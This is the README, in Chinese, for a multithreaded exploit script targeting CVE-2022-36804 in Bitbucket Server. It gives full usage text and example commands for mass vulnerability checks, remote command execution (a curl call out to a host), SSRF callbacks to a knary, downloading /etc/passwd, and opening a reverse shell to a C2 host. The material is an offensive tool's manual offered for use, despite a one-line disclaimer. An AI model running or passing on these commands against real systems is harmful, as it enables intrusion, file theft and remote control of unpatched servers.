影响(大部分)BitBucket版本 <8.3.1 的 CVE-2022-36804 的多线程利用脚本 完整公告请查看 https://jira.atlassian.com/browse/BSERV-13438
发现者荣誉归 TheGrandPew
该脚本会自动检测 BitBucket 实例上的公开仓库,然后随机选择一个仓库进行检查或执行漏洞利用。如果没有公开仓库,则需要提供有效的 'BITBUCKETSESSIONID' cookie 才能利用已知的易受攻击实例。
PoC 设计为接受多个输入主机,并将易受攻击的主机输出到 stdout,从而允许通过管道将结果传递给其他工具进行处理。
请勿用于恶意目的。
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
[--skip-check] [-t THREADS] [-v]
repos [repos ...]
CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1
optional arguments:
-h, --help show this help message and exit
required arguments:
repos Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on
optional arguments:
--auth-cookie AUTH_COOKIE
Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
--proxy PROXY HTTP Proxy: <http/https>://<ip>:<port>
-e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
Exploit to perform
--cmd CMD Command to execute for the 'rce' exploit (curl http://example.com)
--knary KNARY Knary to respond too via DNS for the 'ssrf' exploit
--server-file SERVER_FILE
Server file to download for the 'download' exploit (/etc/passwd)
--host HOST Hostname or IP address of c2 for the 'rev_shell' exploit
--port PORT Port of the c2 for the 'rev_shell' exploit
--skip-check Skip vulnerability checking stage
-t THREADS, --threads THREADS
Worker Threads
-v, --verbose Increase output verbosity level
单个主机
CVE-2022-36804.py http://bitbucket.local:7990/多个主机并将易受攻击的主机和被利用的仓库通过管道输出到文件
CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts
CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/
向指定的 knary 发起 DNS 请求
CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/
下载包含目标文件
/etc/passwd的仓库,这将把压缩的仓库保存到随机文件名中。
CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/
CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/